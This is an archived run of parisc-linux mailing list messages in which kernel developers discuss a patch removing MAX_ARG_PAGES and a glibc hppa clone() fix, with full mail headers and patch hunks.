<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; unsigned long old_addr, unsigned long old_len,<br>+&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 unsigned long new_len, unsigned long new_addr);<br> extern unsigned long d=
o_mremap(unsigned long addr,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned lon=
g old_len, unsigned long new_len,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long flags, unsigned long new_a=
ddr);<br>+extern int mprotect_fixup(struct vm_area_struct *vma,<br>+&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct vm_ar=
ea_struct **pprev, unsigned long start,<br>
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsi=
gned long end, unsigned long newflags);<br><br> /*<br>&nbsp;&nbsp;* Prototy=
pe to add a shrinker callback for ageable caches.<br>Index: linux/kernel/au=
ditsc.c<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
<br>--- linux.orig/kernel/auditsc.c<br>+++ linux/kernel/auditsc.c<br>@@ -17=
55,6 +1755,10 @@ int __audit_ipc_set_perm(unsigned long q<br><br> int audit=
_bprm(struct linux_binprm *bprm)<br> {<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp; /* FIXME: Don&#39;t do anything for now until I figure out how to hand=
le
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* this.&nbsp;&nbsp;Wit=
h the latest changes, kmalloc could well fail under good<br>+&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* scenarios. */<br>+#if 0<br>&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;struct audit_aux_data_execve *ax;<br>&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;struct audit_context *context=
 =3D current-&gt;audit_context;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned long p, next;<=
br>@@ -1782,6 +1786,7 @@ int audit_bprm(struct linux_binprm *bprm<br>&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ax-&gt;d.type =3D AUDIT_EXECVE;<b=
r>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ax-&gt;d.next =3D context=
-&gt;aux;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;context-&gt;au=
x =3D (void *)ax;
<br>+#endif<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br=
> }<br><br>Index: linux/mm/mprotect.c<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D<br>--- linux.orig/mm/mprotect.c<br>+++ linux/mm/mprotect=
.c<br>@@ -128,7 +128,7 @@ static void change_protection(struct vm_
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;flush_tlb_range(vma, st=
art, end);<br> }<br><br>-static int<br>+int<br> mprotect_fixup(struct vm_ar=
ea_struct *vma, struct vm_area_struct **pprev,<br>&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;unsigned long start, unsigned long end, unsigned lon=
g newflags)
<br> {<br>Index: linux/mm/mremap.c<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D<br>--- linux.orig/mm/mremap.c<br>+++ linux/mm/mremap.c<br>@=
@ -155,7 +155,7 @@ static unsigned long move_page_tables(st
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return len + old_addr -=
 old_end;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* how much done *=
/<br> }<br><br>-static unsigned long move_vma(struct vm_area_struct *vma,<b=
r>+unsigned long move_vma(struct vm_area_struct *vma,<br>&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;unsigned long old_addr, unsigned long old_len,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;unsigned long new_len, unsigned long new_addr)<br>=
 {<br></blockquote></div><br>

------=_Part_147502_21702467.1167634300468--

--===============0310451956==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0310451956==--



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] remove MAX_ARG_PAGES
Date: Sun, 31 Dec 2006 22:58:59 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <65dd6fd50612312258i3bea1928m3d06c04fdbb5a7c__29239.240443758$1416624245$gmane$org@mail.gmail.com>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160572460.2006.79.camel@taijtu>
	<65dd6fd50610111448q7ff210e1nb5f14917c311c8d4@mail.gmail.com>
	<65dd6fd50610241048h24af39d9ob49c3816dfe1ca64@mail.gmail.com>
	<20061229200357.GA5940@elte.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624245 21974 80.91.229.3 (22 Nov 2014 02:44:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:05 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: "Ingo Molnar" <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jan 2007 17:26:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 01 Jan 2007 18:26:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 703287D8FD;
	Mon,  1 Jan 2007 10:26:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09055-09; Mon, 1 Jan 2007 10:26:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85AD37D903;
	Mon,  1 Jan 2007 10:26:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A9AFA7D7C1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Jan 2007 00:00:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02727-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Jan 2007 00:00:38 -0700 (MST)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.33.17])
	by free.linux.hp.com (Postfix) with ESMTP id C59917D79A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Jan 2007 00:00:37 -0700 (MST)
Original-Received: from zps75.corp.google.com (zps75.corp.google.com [172.25.146.75])
	by smtp-out.google.com with ESMTP id l0170XFu027206
	for <parisc-linux@lists.parisc-linux.org>; Mon, 1 Jan 2007 07:00:33 GMT
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:
	mime-version:content-type:content-transfer-encoding:
	content-disposition:references;
	b=kHguBboePgVBomSp/sz88uqDgrnWaAIKm2ERu149mh/FAx7z//u8fJJKMBGIIDLBy
	zf3WY5PCkF1TxEE+N5ETA==
Original-Received: from nf-out-0910.google.com (nfbx4.prod.google.com [10.48.100.4])
	by zps75.corp.google.com with ESMTP id l016wxPj022220
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Dec 2006 22:59:00 -0800
Original-Received: by nf-out-0910.google.com with SMTP id x4so6912923nfb
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Dec 2006 22:58:59 -0800 (PST)
Original-Received: by 10.82.138.6 with SMTP id l6mr1373811bud.1167634739173;
	Sun, 31 Dec 2006 22:58:59 -0800 (PST)
Original-Received: by 10.82.107.8 with HTTP; Sun, 31 Dec 2006 22:58:59 -0800 (PST)
In-Reply-To: <20061229200357.GA5940@elte.hu>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Mon, 01 Jan 2007 10:26:28 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bnyscWtvRkkeaauPfGRqGthmdWkvKNM4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24185

On 12/29/06, Ingo Molnar <mingo@elte.hu> wrote:
>
> what is keeping this fix from going upstream?
>

There are still a couple outstanding issues which need to be resolved
before this is ready for inclusion in the mainline kernel.

The main one is support for CONFIG_STACK_GROWSUP, which I think is
just parisc.  I've been meaning to look into this for a while, but I
was out of commision for most of November so it got punted to the back
burner.  I'll try to revisit it soonish.  If someone from the
parisc-linux list wants to take a look, though, that's fine by me.

The other is support for the various executable formats.  I've tested
elf and script pretty thoroughly, but I'm not sure how to go about
testing most of the others -- does anyone use aout anymore?  Maybe the
solution is just to check it in and wait to see if someone complains.

Ollie
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] timing bug in clone() ? [BUGFIX-PATCH attached]
Date: Mon, 1 Jan 2007 20:47:10 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <200701012047.10616.deller__3324.87222408435$1416624245$gmane$org@gmx.de>
References: <200612291721.53961.deller@gmx.de> <4595BBC0.2020602@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624245 21977 80.91.229.3 (22 Nov 2014 02:44:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jan 2007 19:47:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 01 Jan 2007 20:47:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E60F7D94F;
	Mon,  1 Jan 2007 12:47:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10165-06; Mon, 1 Jan 2007 12:47:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5313B7D951;
	Mon,  1 Jan 2007 12:47:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D5AE7D94E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Jan 2007 12:47:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10165-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Jan 2007 12:47:23 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 69B117D94D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Jan 2007 12:47:23 -0700 (MST)
Original-Received: (qmail invoked by alias); 01 Jan 2007 19:47:22 -0000
Original-Received: from mnhm-590c109e.pool.einsundeins.de (EHLO p100.box) [89.12.16.158]
	by mail.gmx.net (mp027) with SMTP; 01 Jan 2007 20:47:22 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <4595BBC0.2020602@tausq.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZVOsdGlNbUkoDenGPWgnyydkZ2hlN4rM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24186

On Sat Dec 30 2006, Randolph Chung wrote:
> Helge Deller wrote:
> > Help !
> > 
> > I'm trying to find the reason, why the program below segfaults on parisc.
> > if you change the "#if 0" to "#if 1", then it works without segfaulting.
> > 
> > To me it seems we have some kind of race in the linux kernel, e.g.
> > thread exits, wants to notify parent, but parent hasn't returned from clone() call... ?!?
> > 
> > Any ideas ?
> 
> We have some other problems that may be related to this. It might be a
> race in how signals are delivered. We hit some problems with multiple
> threads that seems somewhat similar.  See thread_test2.c in our
> userspace cvs repo. It *might* be the same problem.
> 
> Sorry I don't have any ideas what the real problem is. I tried to debug
> this a bit but reach any conclusions. It might be because our fork() is
> quite slow because of all the cache flushing.

Thanks Randolph !

I've found the bug now... :-)
Patch is attached below, and the problem was not in the kernel, but in glibc.

The first hunk in the patch below ("Save the PIC register.") is the fix for the arguments check which I posted before (http://lists.parisc-linux.org/pipermail/parisc-linux/2006-December/031029.html). This hunk fixes LTP's clone04 test.

The second and third hunk fixes the "return 0" bug as reported by LTP's clone06 test.
It first saves the current FPIC register on the child's stack (to %arg0 instead of %sr0,%sp) and later reads it back from there in the third hunk just before calling _exit().
That way the PIC register has the correct value and exit() doesn't crashes any more.

Now all clone()-tests from LTP succeeds :-)

Helge


--- glibc-2.3.6.ds1/build-tree/glibc-2.3.6/debian/sysdeps/unix/sysv/linux/hppa/clone.S.org	2006-12-29 08:49:25.000000000 +0100
+++ glibc-2.3.6.ds1/build-tree/glibc-2.3.6/debian/sysdeps/unix/sysv/linux/hppa/clone.S	2007-01-01 19:53:00.000000000 +0100
@@ -32,6 +32,11 @@
 ENTRY(__clone)
 	/* FIXME: I have no idea how profiling works on hppa. */
 
+	/* Save the PIC register. */
+#ifdef PIC
+	stw	%r19,-32(%sr0, %sp)	/* parent */
+#endif
+
 	/* Sanity check arguments.  */
 	comib,=  0,%arg0,.Lerror        /* no NULL function pointers */
 	ldi     -EINVAL,%ret0
@@ -41,10 +46,8 @@
 	/* Save the fn ptr and arg on the new stack.  */
 	stwm    %arg0,64(%arg1)
 	stw	%arg3,-60(%arg1)

From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Machek <pavel@ucw.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] remove MAX_ARG_PAGES
Date: Mon, 1 Jan 2007 17:28:03 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20070101172803.GC4214__38363.4056583562$1416624245$gmane$org@ucw.cz>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160572460.2006.79.camel@taijtu>
	<65dd6fd50610111448q7ff210e1nb5f14917c311c8d4@mail.gmail.com>
	<65dd6fd50610241048h24af39d9ob49c3816dfe1ca64@mail.gmail.com>
	<20061229200357.GA5940@elte.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624245 21979 80.91.229.3 (22 Nov 2014 02:44:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:05 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 Ollie Wild <aaw@google.com>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jan 2007 18:37:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 02 Jan 2007 19:37:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04BCF7D959;
	Tue,  2 Jan 2007 11:37:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20205-03; Tue, 2 Jan 2007 11:37:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB9057D90B;
	Tue,  2 Jan 2007 11:37:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B2C67D951
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Jan 2007 16:22:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11320-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Jan 2007 16:22:10 -0700 (MST)
Original-Received: from spitz.ucw.cz (gprs189-60.eurotel.cz [160.218.189.60])
	by free.linux.hp.com (Postfix) with ESMTP id 2ACE67D8F4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Jan 2007 16:22:06 -0700 (MST)
Original-Received: by spitz.ucw.cz (Postfix, from userid 0)
	id 99BD12799B; Mon,  1 Jan 2007 17:28:04 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20061229200357.GA5940@elte.hu>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Tue, 02 Jan 2007 11:37:09 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bZGodJInIyd1EvqQe2dr9aVaa2FkZlWS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24187

Hi!

> FYI, i have forward ported your MAX_ARG_PAGES limit removal patch to 
> 2.6.20-rc2 and have included it in the -rt kernel. It's working great - 
> i can now finally do a "ls -t patches/*.patch" in my patch repository - 
> something i havent been able to do for years ;-)
> 
> what is keeping this fix from going upstream?

+1

I like this. I've been running with MAX_ARG_PAGES raised to insane
value, and I'd love to get rid of that hack.

							Pavel
-- 
Thanks for all the (sleeping) penguins.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Removing MAX_ARG_PAGES (request for
	comments/assistance)
Date: Tue, 02 Jan 2007 17:52:14 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <22336.1167760334__19922.9401107461$1416624245$gmane$org@redhat.com>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624245 21980 80.91.229.3 (22 Nov 2014 02:44:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:05 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: "Ollie Wild" <aaw@google.com>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jan 2007 18:37:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 02 Jan 2007 19:37:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B3767D969;
	Tue,  2 Jan 2007 11:37:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
